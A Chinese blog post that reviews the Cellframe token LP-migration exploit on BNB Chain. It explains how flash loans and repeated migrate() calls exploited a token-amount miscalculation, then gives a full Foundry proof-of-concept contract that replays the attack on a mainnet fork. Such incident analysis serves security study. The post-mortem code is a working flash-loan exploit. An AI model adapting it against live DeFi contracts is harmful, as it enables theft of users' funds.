当前位置:   article > 正文

Cellframenet攻击事件复盘-token数量计算问题_pancakev3pool

pancakev3pool

这起事件的原因被确认为在流动性迁移过程中计算token数量时出现了问题。

漏洞合约地址:0x2525c811EcF22Fc5fcdE03c67112D34E97DA6079

攻击者首先在DPP上通过闪电贷获取了1000BNB,然后以此为抵押又从Pancake V3获取了500,000个"new cell" token。

 所有的"new cell" token被换成BNB,导致池子里面的BNB余额几乎为0。攻击者们继续使用900BNB购买了对应的"old cell" token。

然后攻击者为"old cell"和BNB增加了流动性,允许它们可以获得"old LP" token。

攻击者初始化了流动性迁移函数。新的池子中有着最少得BNB,但是老的池子有着"old cell" token。在迁移过程中的流动性移除导致了BNB的增加和"old cell"的减少,因为它们在旧池子中被限制使用。

变量"resoult"和"token1"增大,用户只需要少量的BNB和"new cell" token便能获得流动性。超出的BNB和"old cell" token将会被归还给用户。

流动性迁移过程被重复多次,每次循环进一步加剧池子的不平衡状态,放大了攻击者的收益。

 

 最后攻击者从新池子中提取流动性,将返还的"old cell" token换成BNB。最终,旧池子里面有足够多的"old cell" token,但是没有BNB,攻击者成功地将"old cell" token换成金银白银的$BNB。

  1. // SPDX-License-Identifier: UNLICENSED
  2. pragma solidity ^0.8.10;
  3. import "forge-std/Test.sol";
  4. import "./interface.sol";
  5. // @KeyInfo - Total Lost : ~76K USD$
  6. // Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
  7. // Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
  8. // Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
  9. // Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9
  10. // @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA
  11. interface IPancakeV3Pool {
  12. function flash(
  13. address recipient,
  14. uint256 amount0,
  15. uint256 amount1,
  16. bytes calldata data
  17. ) external;
  18. }
  19. interface IPancakeRouterV3 {
  20. struct ExactInputSingleParams {
  21. address tokenIn;
  22. address tokenOut;
  23. uint24 fee;
  24. address recipient;
  25. uint256 amountIn;
  26. uint256 amountOutMinimum;
  27. uint160 sqrtPriceLimitX96;
  28. }
  29. function exactInputSingle(
  30. ExactInputSingleParams memory params
  31. ) external payable returns (uint256 amountOut);
  32. }
  33. interface ILpMigration {
  34. function migrate(uint256 amountLP) external;
  35. }
  36. contract ContractTest is Test {
  37. IDPPOracle DPPOracle =
  38. IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
  39. IPancakeV3Pool PancakePool =
  40. IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
  41. Uni_Router_V2 Router =
  42. Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
  43. Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
  44. IPancakePair PancakeLP =
  45. IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
  46. ILpMigration LpMigration =
  47. ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
  48. IPancakeRouterV3 SmartRouter =
  49. IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
  50. IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
  51. IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
  52. IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
  53. IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
  54. address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
  55. CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
  56. function setUp() public {
  57. cheats.createSelectFork("bsc", 28708273);
  58. cheats.label(address(DPPOracle), "DPPOracle");
  59. cheats.label(address(PancakePool), "PancakePool");
  60. cheats.label(address(Router), "Router");
  61. cheats.label(address(PancakeLP), "PancakeLP");
  62. cheats.label(address(LpMigration), "LpMigration");
  63. cheats.label(address(SmartRouter), "SmartRouter");
  64. cheats.label(address(CELL9), "CELL9");
  65. cheats.label(address(WBNB), "WBNB");
  66. cheats.label(address(oldCELL), "oldCELL");
  67. cheats.label(address(newCELL), "newCELL");
  68. cheats.label(address(BUSD), "BUSD");
  69. cheats.label(zap, "Zap");
  70. }
  71. function testExploit() public {
  72. deal(address(WBNB), address(this), 0.1 ether);
  73. emit log_named_decimal_uint(
  74. "Attacker WBNB balance before attack",
  75. WBNB.balanceOf(address(this)),
  76. WBNB.decimals()
  77. );
  78. // Preparation. Pre-attack transaction
  79. WBNB.approve(address(Router), type(uint256).max);
  80. swapTokens(
  81. address(WBNB),
  82. address(oldCELL),
  83. WBNB.balanceOf(address(this))
  84. );
  85. oldCELL.approve(zap, type(uint256).max);
  86. oldCELL.approve(address(Router), type(uint256).max);
  87. swapTokens(
  88. address(oldCELL),
  89. address(WBNB),
  90. oldCELL.balanceOf(address(this)) / 2
  91. );
  92. Router.addLiquidity(
  93. address(oldCELL),
  94. address(WBNB),
  95. oldCELL.balanceOf(address(this)),
  96. WBNB.balanceOf(address(this)),
  97. 0,
  98. 0,
  99. address(this),
  100. block.timestamp + 100
  101. );
  102. // End of preparation. Attack start
  103. DPPOracle.flashLoan(1_000 * 1e18, 0, address(this), new bytes(1));
  104. emit log_named_decimal_uint(
  105. "Attacker WBNB balance after attack",
  106. WBNB.balanceOf(address(this)),
  107. WBNB.decimals()
  108. );
  109. }
  110. function DPPFlashLoanCall(
  111. address sender,
  112. uint256 baseAmount,
  113. uint256 quoteAmount,
  114. bytes calldata data
  115. ) external {
  116. PancakePool.flash(
  117. address(this),
  118. 0,
  119. 500_000 * 1e18,
  120. hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
  121. );
  122. newCELL.approve(address(SmartRouter), type(uint256).max);
  123. smartRouterSwap();
  124. swapTokens(
  125. address(newCELL),
  126. address(WBNB),
  127. 94_191_714_329_478_648_796_861
  128. );
  129. swapTokens(
  130. address(newCELL),
  131. address(BUSD),
  132. newCELL.balanceOf(address(this))
  133. );
  134. BUSD.approve(address(Router), type(uint256).max);
  135. swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));
  136. WBNB.transfer(address(DPPOracle), 1_000 * 1e18);
  137. }
  138. function pancakeV3FlashCallback(
  139. uint256 fee0,
  140. uint256 fee1,
  141. bytes calldata data
  142. ) external {
  143. newCELL.approve(address(Router), type(uint256).max);
  144. CELL9.approve(address(LpMigration), type(uint256).max);
  145. swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
  146. // Acquiring oldCELL tokens
  147. swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);
  148. // Liquidity amount to migrate (for one call to migrate() func)
  149. uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
  150. emit log_named_uint(
  151. "Amount of liquidity to migrate (for one migrate call)",
  152. lpAmount
  153. );
  154. // 8 calls to migrate were successfull. Ninth - revert in attack tx.
  155. for (uint256 i; i < 9; ++i) {
  156. LpMigration.migrate(lpAmount);
  157. }
  158. PancakeLP.transfer(
  159. address(PancakeLP),
  160. PancakeLP.balanceOf(address(this))
  161. );
  162. PancakeLP.burn(address(this));
  163. swapTokens(
  164. address(WBNB),
  165. address(newCELL),
  166. WBNB.balanceOf(address(this))
  167. );
  168. swapTokens(
  169. address(oldCELL),
  170. address(WBNB),
  171. oldCELL.balanceOf(address(this))
  172. );
  173. newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
  174. }
  175. // Helper function for swap tokens with the use Pancake RouterV2
  176. function swapTokens(address from, address to, uint256 amountIn) internal {
  177. address[] memory path = new address[](2);
  178. path[0] = from;
  179. path[1] = to;
  180. Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
  181. amountIn,
  182. 0,
  183. path,
  184. address(this),
  185. block.timestamp + 100
  186. );
  187. }
  188. // Helper function for swap tokens with the use Pancake RouterV3
  189. function smartRouterSwap() internal {
  190. IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3
  191. .ExactInputSingleParams({
  192. tokenIn: address(newCELL),
  193. tokenOut: address(WBNB),
  194. fee: 500,
  195. recipient: address(this),
  196. amountIn: 768_165_437_250_117_135_819_067,
  197. amountOutMinimum: 0,
  198. sqrtPriceLimitX96: 0
  199. });
  200. SmartRouter.exactInputSingle(params);
  201. }
  202. receive() external payable {}
  203. }

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/900060
推荐阅读
相关标签
  

闽ICP备14008679号